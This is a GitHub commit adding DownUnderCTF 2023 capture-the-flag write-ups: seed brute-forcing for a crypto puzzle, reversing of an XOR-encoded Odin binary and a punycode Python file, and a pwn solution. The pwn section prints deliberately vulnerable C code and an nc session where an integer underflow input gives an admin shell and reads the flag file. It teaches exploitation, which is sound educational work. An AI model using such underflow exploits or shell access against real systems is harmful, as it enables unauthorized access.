Skip to content

Commit

Permalink
* first batch for ductf23
Browse files Browse the repository at this point in the history
  • Loading branch information
D13David committed Sep 4, 2023
1 parent c19c578 commit fb66cad
Show file tree
Hide file tree
Showing 22 changed files with 725 additions and 0 deletions.
32 changes: 32 additions & 0 deletions ductf23/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
# DownUnderCTF 2023

![sdfsdf](logo.svg)
<br/>Credits [dctf23](https://capturetheflag.withgoogle.com/)

## crypto

[randomly chosen](crypto/randomly_chosen/README.md)

## pwn

[downunderflow](pwn/downunderflow/README.md)

## web

[proxed](web/proxed/README.md)\
[static file server](web/static_file_server/README.md)\
[xxd-server](web/static_file_server/README.md)\
[actually-proxed](web/actually_proxed/README.md)\
[grades_grades_grades](web/grades_grades_grades/README.md)

## rev

[the bridgekeepers 3rd question](rev/the_bridgekeeper/README.md)\
[All Father's Wisdom](rev/all_fathers_wisdom/README.md)\
[pyny](rev/pyny/README.md)\
[SPACEGAME](rev/spacegame/README.md)

## misc


## osint
55 changes: 55 additions & 0 deletions ductf23/crypto/randomly_chosen/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# DownUnderCTF 2023

## randomly chosen

> Can you recover the flag from this random jumble of characters?
>
> Author: joseph
>
> [`randomly-chosen.py`](randomly-chosen.py), [`output.txt`](output.txt)
Tags: _crypto_

## Solution
We are offered with a python script and a textfile:

```python
import random

random.seed(random.randrange(0, 1337))
flag = open('./flag.txt', 'r').read().strip()
out = ''.join(random.choices(flag, k=len(flag)*5))
print(out)
```

```
bDacadn3af1b79cfCma8bse3F7msFdT_}11m8cicf_fdnbssUc{UarF_d3m6T813Usca?tf_FfC3tebbrrffca}Cd18ir1ciDF96n9_7s7F1cb8a07btD7d6s07a3608besfb7tmCa6sasdnnT11ssbsc0id3dsasTs?1m_bef_enU_91_1ta_417r1n8f1e7479ce}9}n8cFtF4__3sef0amUa1cmiec{b8nn9n}dndsef0?1b88c1993014t10aTmrcDn_sesc{a7scdadCm09T_0t7md61bDn8asan1rnam}sU
```

The output obviously is generated by the script and contains the flag but very scrambled. Manually assembling the flag from this output will not work. But since the RNG used is producting pseudo random numbers we can reconstruct the random choices by knowing the correct seed. Since the seed is in range 0-1337 the search space is small enough to try all possible seeds.

For every seed we take random choices and remap the character indice from the output to get the original ordering. This is done for each and every seed (in range 0-1337) until we find a seed that gives the correct flag.

```python
import random

data = open("output.txt").read()

flag_len = len(data)//5
indices = list(range(0,flag_len))

for i in range(0, 1337):
random.seed(i)
out = random.choices(indices, k=flag_len*5)

flag = [""]*(flag_len)
for i, x in enumerate(out):
flag[x] = data[i]

flag = "".join(flag)
if flag.startswith("DUCTF"):
print(flag)
break
```

Flag `DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}`
1 change: 1 addition & 0 deletions ductf23/crypto/randomly_chosen/output.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
bDacadn3af1b79cfCma8bse3F7msFdT_}11m8cicf_fdnbssUc{UarF_d3m6T813Usca?tf_FfC3tebbrrffca}Cd18ir1ciDF96n9_7s7F1cb8a07btD7d6s07a3608besfb7tmCa6sasdnnT11ssbsc0id3dsasTs?1m_bef_enU_91_1ta_417r1n8f1e7479ce}9}n8cFtF4__3sef0amUa1cmiec{b8nn9n}dndsef0?1b88c1993014t10aTmrcDn_sesc{a7scdadCm09T_0t7md61bDn8asan1rnam}sU
6 changes: 6 additions & 0 deletions ductf23/crypto/randomly_chosen/randomly-chosen.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
import random

random.seed(random.randrange(0, 1337))
flag = open('./flag.txt', 'r').read().strip()
out = ''.join(random.choices(flag, k=len(flag)*5))
print(out)
1 change: 1 addition & 0 deletions ductf23/logo.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
69 changes: 69 additions & 0 deletions ductf23/pwn/downunderflow/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
# DownUnderCTF 2023

## downunderflow

> It's important to see things from different perspectives.
>
> Author: joseph
>
> [`downunderflow.c`](downunderflow.c), [`downunderflow`](downunderflow)
Tags: _pwn_

## Solution
We are given the following executable plus code:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}

int main() {
init();

printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}
```
The user is asked to enter a user index. The user index cannot exeed NUM_USERS-1 meaning we cannot login as admin. The index can be negative though. Since the index is casted to `unsigned short` we are able to enter larger values than NUM_USERS-1. We can just use `-65529` which is `-65536+7 === 7 mod 65536` (or really any other number that fits the equation).
```bash
─$ nc 2023.ductf.dev 30025
Select user to log in as: -65529
Logging in as admin
Welcome admin.
ls
flag.txt
pwn
cat flag.txt
DUCTF{-65529_==_7_(mod_65536)}
```

Flag `DUCTF{-65529_==_7_(mod_65536)}`
Binary file added ductf23/pwn/downunderflow/downunderflow
Binary file not shown.
36 changes: 36 additions & 0 deletions ductf23/pwn/downunderflow/downunderflow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}

int main() {
init();

printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}
65 changes: 65 additions & 0 deletions ductf23/rev/all_fathers_wisdom/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# DownUnderCTF 2023

## downunderflow

> We found this binary in the backroom, its been marked as "The All Fathers Wisdom" - See hex for further details. Not sure if its just old and hex should be text, or they mean the literal hex.
>
> Anyway can you get this 'wisdom' out of the binary for us?
>
> Author: pix
>
> [`the-all-fathers-wisdom`](the-all-fathers-wisdom)
Tags: _rev_

## Solution
For this challenge we are provided with an executable. Opening the executable in `Ghidra` we find the `main` which prints the flag but sadly exists before doing so.

```c
void main.main(undefined8 param_1)
{
os.exit(0);
main.print_flag(param_1);
return;
}
```

The function `print_flag` loops over 59 items starting with `&local_1d8` and doing `xor 0x11` for each item.

```c
// ...
local_1b0 = 0x31;
local_1b8 = 0x24;
local_1c0 = 0x24;
local_1c8 = 0x31;
local_1d0 = 0x25;
local_1d8 = 0x25;
local_1e8 = &local_1d8;
length = 59;
for (i = 0; puVar1 = local_1e8, offset = i, i < length; i = i + 1) {
runtime.bounds_check_error("/home/pix/chal/main.odin",0x18,0x47,0x24,i,length);
local_22c = *(uint *)(puVar1 + offset) ^ 0x11;
local_228 = CONCAT88(0x4200000000000001,&local_22c);
local_218 = CONCAT88(0x4200000000000001,&local_22c);
local_208 = CONCAT88(1,local_218);
fmt.printf("%c",2,local_218,1,param_1);
}
```
This can easily be reimplemented with python to get the flag.
```python
from Crypto.Util.number import long_to_bytes
foo = [0x75,0x26,0x31,0x22,0x25,0x31,0x77,0x24,0x31,0x25,0x26,0x31,0x21,0x22,0x31,0x74,0x25,0x31,0x75,0x23,0x31,0x22,0x24,0x31,0x20,0x22,0x31,0x77,0x24,0x31,0x74,0x27,0x31,0x20,0x22,0x31,0x25,0x27,0x31,0x77,0x25,0x31,0x73,0x26,0x31,0x27,0x25,0x31,0x25,0x24,0x31,0x22,0x25,0x31,0x24,0x24,0x31,0x25,0x25]
foo = foo[::-1]
flag = ""
for i in foo:
flag = flag + chr(i^17)
print(bytes.fromhex(flag))
```

Flag `DUCTF{Od1n_1S-N0t_C}`
Binary file not shown.
54 changes: 54 additions & 0 deletions ductf23/rev/pyny/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# DownUnderCTF 2023

## pyny

> I've never seen a Python program like this before.
>
> Author: hashkitten
>
> [`pyny.py`](pyny.py)
Tags: _rev_

## Solution
We get this very small python code

```python
#coding: punycode
def _(): pass
('Correct!' if ('Enter the flag: ') == 'DUCTF{%s}' % _.____ else 'Wrong!')-gdd7dd23l3by980a4baunja1d4ukc3a3e39172b4sagce87ciajq2bi5atq4b9b3a3cy0gqa9019gtar0ck
```

This looks strange, but can be run.

```bash
$ python pyny.py
Enter the flag: asdasd
Wrong!
```

There's no trace of a flag... Wikipedia [`tells us`](https://en.wikipedia.org/wiki/Punycode).

> Punycode is a representation of Unicode with the limited ASCII character subset used for Internet hostnames. Using Punycode, host names containing Unicode characters are transcoded to a subset of ASCII consisting of letters, digits, and hyphens, which is called the letter–digit–hyphen (LDH) subset. For example, München (German name for Munich) is encoded as Mnchen-3ya.
By changing some random bytes with a hex editor python throws errors at us, by change it leaks the flag.

```python
('Cor᥂᥃reɝct£!' if ('En᥂±terɡ thᰉe flag᥄: 'ᰉ) == ᤽᥃'ᤷDU᤽ɠCɚTF{%s}'% _.___᥂_ e᥌ɝlse °'Wrongᰈ!£')᥌
^^^^^^^^^^^^^^^^^^^^^^^^
NameError: name 'python_warmup' is not defined. Did you mean: 'pythonxwarmup'?
```

On the other hand, we can use python to decode the code for us:
```python
code = open("pyny.py", "rb").read()
code = code.replace(b"#coding: punycode", b"").decode("punycode")
print(code)
```

```python
def ᵖʸᵗʰºⁿ_ʷªʳᵐᵘᵖ(): pass
ᵖʳᵢⁿᵗ('Correct!' if ᵢⁿᵖᵘᵗ('Enter the flag: ') == 'DUCTF{%s}' % ᵖʸᵗʰºⁿ_ʷªʳᵐᵘᵖ.__ⁿªᵐᵉ__ else 'Wrong!')
```

Flag `DUCTF{python_warmup}`
3 changes: 3 additions & 0 deletions ductf23/rev/pyny/pyny.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#coding: punycode
def _(): pass
('Correct!' if ('Enter the flag: ') == 'DUCTF{%s}' % _.____ else 'Wrong!')-gdd7dd23l3by980a4baunja1d4ukc3a3e39172b4sagce87ciajq2bi5atq4b9b3a3cy0gqa9019gtar0ck
Loading

0 comments on commit fb66cad

Please sign in to comment.